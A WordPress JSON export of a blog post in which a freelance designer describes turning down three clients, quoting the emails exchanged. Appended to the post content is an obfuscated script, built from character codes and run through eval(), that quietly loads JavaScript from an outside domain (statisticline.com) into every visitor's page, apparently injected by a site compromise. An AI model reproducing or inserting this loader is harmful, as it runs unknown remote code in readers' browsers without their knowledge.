{"id":6302,"date":"2023-06-09T10:56:52","date_gmt":"2023-06-09T10:56:52","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/when-should-you-turn-down-freelance-work\/"},"modified":"2023-06-09T10:56:52","modified_gmt":"2023-06-09T10:56:52","slug":"when-should-you-turn-down-freelance-work","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/when-should-you-turn-down-freelance-work\/","title":{"rendered":"When should you turn down freelance work"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/when-should-you-turn-down-freelance-work\/#Why_you_should_start_saying_%E2%80%9Cno%E2%80%9D_to_freelance_work\" title=\"Why you should start saying \u201cno\u201d to freelance work\">Why you should start saying \u201cno\u201d to freelance work<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/when-should-you-turn-down-freelance-work\/#How_to_turn_down_freelance_work\" title=\"How to turn down freelance work\">How to turn down freelance work<\/a><\/li><\/ul><\/nav><\/div>\n\n<figure class=&quot;wp-block-image&quot;><img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/08\/ytwxplo5haa-1024x683.jpg&quot; alt=&quot;When to turn down freelance work&quot; class=&quot;wp-image-25899&quot;\/><\/figure>\n\n\n<p>\u00a0<\/p>\n<p>What I\u2019m about to share with you are three\u00a0<em>real<\/em>\u00a0situations where I turned down freelance work. All three situations were turned down for different reasons and each had a unique reaction from the client.<span id=&quot;more-632&quot;><\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_you_should_start_saying_%E2%80%9Cno%E2%80%9D_to_freelance_work\"><\/span>Why you should start saying \u201cno\u201d to freelance work<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>You\u2019re going to be tempted to take on every project that comes your way \u2013 especially if you\u2019re just getting started or are hurting for the money. I know this because it\u2019s how I felt for a long time, but believe me, it\u2019s not worth it.<\/p>\n<p><strong>There are many reasons why you should turn down a freelance project:<\/strong><\/p>\n<ul>\n<li>The client\u2019s budget is too low<\/li>\n<li>The project timeframe is too short<\/li>\n<li>The project is morally or ethically questionable \u2013 making you feel uncomfortable<\/li>\n<li>You\u2019re already too busy with other work<\/li>\n<li>You don\u2019t like the type of work or the client\u2019s way of working<\/li>\n<\/ul>\n<p>In any of these cases you may want to turn the work down. However, no one likes rejection, so the delivery of your decision to the client must be handled carefully.<\/p>\n<p>Stay calm and collected when responding back. Don\u2019t go the easy route and lie to the client, rather, explain your situation and explore an alternate solution if possible.<\/p>\n<p><strong>Here are a few useful phrases to help you respond back to your client:<\/strong><\/p>\n<ul>\n<li>\u201cThank you for reaching out. Unfortunately I\u2019m booked with other projects at this time\u2026\u201d<\/li>\n<li>\u201cI\u2019m currently up to my nose in work right now. However, I\u2019d be happy to forward your details to another reliable designer\u2026\u201d<\/li>\n<li>\u201cI appreciate your interest in working with me, however, after reviewing your project requirements I\u2019m not sure I\u2019m the right fit for the job\u2026\u201d<\/li>\n<\/ul>\n<p>It\u2019s difficult to turn down work, but saying no means saying yes to something else. There\u2019s an opportunity cost associated with everything you take on.<\/p>\n<p>Every commitment you make is taking up your time, so you need to delegate A what\u2019s on your plate, and leave margin for new opportunities to come.<\/p>\n<p>It helps to strictly stick to your specialty. For example, if you\u2019re a logo designer, don\u2019t take on a presentation design project.<\/p>\n<p><span style=&quot;font-size: inherit;&quot;>You have to say no to a lot of good things in order to be able to say yes to a lot of great things.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_to_turn_down_freelance_work\"><\/span>How to turn down freelance work<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>No one enjoys saying \u201cNo\u201d to a client, but last week in a single day I had to turn down tlhree new inquiries. All three situations were turned down for different reasons and each had a unique reaction from the client. I hope you\u2019re able to pick some useful information from these situations.<\/p>\n<h3>Turning down understanding clients<\/h3>\n<p>I received a new entry on my website from a very nice person asking if I\u2019d like to help build a solid template for their sales presentation.<\/p>\n<p><strong>Here\u2019s a blurb from their email:<\/strong><\/p>\n<blockquote>\n<p>I\u2019m looking for a designer to help us with a solid template for our sales presentations. We need something sleek, professional, and engaging. We\u2019re starting at ground zero and trying to get the content collected at this point. [\u2026] If this is something that interests you, let me know.<\/p>\n<\/blockquote>\n<p>I could have definitely helped design their template, however, sticking to my specialties and keeping margin for other opportunities I had to turn it down.<\/p>\n<p>Also, I had some major projects coming up, so I couldn\u2019t devote much time to this.<\/p>\n<p>The client did give me a concise brief and was polite in reaching out to me, so I still wanted to help them in anyway I could.<\/p>\n<p><strong>Here\u2019s how I responded:<\/strong><\/p>\n<blockquote>\n<p>Thank you so much for reaching out with your project. I\u2019m currently up to my nose with work and side projects so I\u2019m afraid I wouldn\u2019t have the time to devote to your project. However, I\u2019d be more than happy to forward your details to one or two other potential designers. I\u2019ll do a bit of screening to make sure they\u2019ll be able to deliver, and again, I\u2019ll only forward the details to one or two people so you\u2019re not bombarded with emails from designers.<\/p>\n<p>Let me know if that sounds good to you.<\/p>\n<p>Sorry I wasn\u2019t available at this time. If you ever need help in the future please don\u2019t hesitate to reach back out. I\u2019m here to help any way I can.<\/p>\n<\/blockquote>\n<p>I\u2019m never sure how a client will respond to me turning their project down, or if they\u2019ll reply at all.<\/p>\n<p>But I was pleasantly surprised with\u00a0<strong>their response:<\/strong><\/p>\n<blockquote>\n<p>Awesome, that\u2019d be great. We\u2019re just looking for a great template at this point.<\/p>\n<\/blockquote>\n<p>So I sent out some tweets looking for able freelance designers and forwarded the project onto someone more willing and available to take it on.<\/p>\n<p>A win-win situation for everyone!<\/p>\n<h3>Turning down uncooperative clients<\/h3>\n<p>Typically I receive new logo projects from my project brief forms (found on my contact page).<\/p>\n<p>In order to provide an accurate project estimate I need quite a bit of essential information up front, and I make this clear during the process.<\/p>\n<p>If a client is looking for something quick, they\u2019re free to simply use my contact form instead.<\/p>\n<p>This specific client needed quick information, but chose to use my logo brief form\u2026<\/p>\n<p>On every required text field they filled in,\u00a0<em>\u201cSeriously?\u201d<\/em><\/p>\n<p>That\u2019s it\u2026 Then in the final text area,\u00a0<strong>they said:<\/strong><\/p>\n<blockquote>\n<p>That\u2019s way to much information to require for a request for information. It\u2019s my Dad\u2019s business, they\u2019ve been in business for over 25 years. I really just need a logo with the name of the business. Something simple and appropriate for a high end business.<\/p>\n<\/blockquote>\n<p>Their problem wasn\u2019t with the form, but was not doing any research on who I was or how I work.<\/p>\n<p>They demanded what they \u201cneeded\u201d to be done, but didn\u2019t want to invest in any time to work\u00a0<em>with<\/em>\u00a0me.<\/p>\n<p>That\u2019s not how I do things, and that\u2019s ultimately why I turned them down.<\/p>\n<p><strong>Here\u2019s my response back:<\/strong><\/p>\n<blockquote>\n<p>Before starting any logo project it\u2019s essential for me to gather the necessary amount of information from you. This helps pave the way to a successful project, assists in bringing your ideas into perspective, and builds a better working relationship. Ultimately, the questions in the brief will help me in putting together an accurate quote for you.<\/p>\n<p>I\u2019m always looking to improve, so I\u2019ll take your feedback into consideration and try to simplify this process. Regardless, I appreciate you taking the time to reach out.<\/p>\n<p>Unfortunately at this time I\u2019m unable to take on your project. If you\u2019d like I could forward your project details to another potential, well-qualified designer that may be able to work with your project requirements. Let me know \u2013 I\u2019m here to help in any way I can.<\/p>\n<p>Thanks again for reaching out.<\/p>\n<\/blockquote>\n<p>Remember, all they gave me to work from was, \u201cSeriously?\u201d, a deadline of \u201cASAP\u201d, and a budget of \u201cSeriously?\u201d<\/p>\n<p>\u2026Seriously?<\/p>\n<p><strong>They followed up with:<\/strong><\/p>\n<blockquote>\n<p>Right, If I had put a lot of time into filling that out just so you could tell me you didn\u2019t have time to help me, I\u2019d be far more irritated. It\u2019s presumptuous to waste that much of people\u2019s time. Good luck.<\/p>\n<\/blockquote>\n<p>Again, they chose the project brief route rather than simply using my contact form.<\/p>\n<p>I had nothing further to say.<\/p>\n<h3>Turning down confrontational clients<\/h3>\n<p>Last year I worked with this client on a project by project basis doing t-shirt design and mockup work. This client demanded I did \u201cminimal\u201d work on each design, then if their client approved the mockup I\u2019d fully flesh it out and get paid (a very low price.)<\/p>\n<p>I still can\u2019t believe that I wasted even a few hours with this client (basically doing spec work)\u2026 However it was a learning experience.<\/p>\n<p>But then out of the blue\u00a0<strong>I get this email:<\/strong><\/p>\n<blockquote>\n<p>We spoke about a year ago\u2014<\/p>\n<p>Are you open to new freelance t- shirt designs<br \/>and mockups\/ proofs??<\/p>\n<p>We are growing and looking for new creative talent<\/p>\n<p>2 types of projects<\/p>\n<p>Basic Mockups\/ layouts with our ideas.<\/p>\n<p>Creative Designs your ideas hourly rate with revisions.<\/p>\n<p>Let me know any interest.<\/p>\n<\/blockquote>\n<p>From my previous experience with this person (and their lack of literacy), I had zero interest in working with them. Nothing against the person themselves, just their workflow and target market for the work needed.<\/p>\n<p>Sometimes it\u2019s hard for a client to hear the truth, and you can\u2019t really tell how they\u2019ll take it. In this situation I was hesitant in my response back \u2013 should I say that I\u2019m too busy to take on the work, or be honest about not liking their project\/work flow?<\/p>\n<p><strong>Here\u2019s how I responded:<\/strong><\/p>\n<blockquote>\n<p>It\u2019s good to hear from you again.<\/p>\n<p>Unfortunately, I think the type of t-shirt designs and workflow you\u2019re looking for is outside the scope of what I do well.<\/p>\n<p>I appreciate you reaching out, and I wish you the very best of luck with business.<\/p>\n<\/blockquote>\n<p>I kept it very short, honest, and professional. I was expecting them to respond back with a, \u201cthanks\u201d, or no reply back at all. However, they didn\u2019t take this very well\u2026\u00a0<strong>Here\u2019s their response:<\/strong><\/p>\n<blockquote>\n<p>What you are really trying to say is something like\u2026.<\/p>\n<p>If you cant pay my price, I am not interested.<\/p>\n<p>Correct me if I am wrong\u2026!!<\/p>\n<p>We live in a world of Price, Service and delivery.<\/p>\n<p>The market is full of people with your graphic design skills<br \/>and services\u2026..<\/p>\n<p>99design, elance, odesk, Mumbai India Design studios<br \/>the list goes on and on\u2026 Those are your competitors.!!<\/p>\n<p>We are looking to form alliances with graphic designers<br \/>who can be paid per job or a percentage of sales on each job<br \/>so they are rewarded for the creative talent.<\/p>\n<\/blockquote>\n<p>There\u2019s so much I wanted to say back, but for my own good I kept it to myself and never replied back.<\/p>\n<p>I never enjoy turning down work, and sometimes when the client can\u2019t take the rejection, it\u2019s best to leave it be and not respond if not needed.<\/p>\n<p>Do you think I handled each situation well?<\/p>\n<p><strong>What I really want to know is have you had to turn down any clients? I\u2019d love to hear your stories!<\/strong><\/p><script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script>","protected":false},"excerpt":{"rendered":"<p>\u00a0 What I\u2019m about to share with you are three\u00a0real\u00a0situations where I turned down freelance work. All three situations were turned down for different reasons and each had a unique reaction from the client. Why you should start saying \u201cno\u201d to freelance work You\u2019re going to be tempted to take on every project that comes [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[922],"tags":[],"class_list":["post-6302","post","type-post","status-publish","format-standard","hentry","category-freelance"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6302"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6302"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6302\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6302"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6302"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6302"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}